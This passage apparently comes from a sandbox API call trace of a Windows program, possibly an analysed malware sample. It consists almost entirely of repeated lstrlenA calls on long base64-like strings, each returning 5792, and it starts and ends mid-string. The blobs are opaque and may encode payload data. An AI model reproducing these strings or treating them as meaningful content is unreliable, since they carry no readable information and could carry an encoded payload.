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") returned 5792 [0128.358] lstrlenA (lpString="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") returned 5792 [0128.358] lstrlenA (lpString="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") returned 5792 [0128.358] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KWIpjgJt27RyX2fZTVqhxd1fkRh1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUJ/+SN0smfGv03bTcrjcA+QPBPQdz0Ga/5kKcBQBcJvqiz1kGYVxNSJgV3ZYz+ycuV4yfhg/F8OJFlaTRfotvPyVoBT6L4EvW6wLm56I8J1ewra46LNmiyIp1LLtFvVNfCmoZz7l6Mcz0UboWgtKxq3zFCRnmh5BWYOg1Gr2CjeV2GGXHPnLiafXptLDRbp7K+f7c2FXdj1T0euSXFvz8jKRlW6eiuuR1EY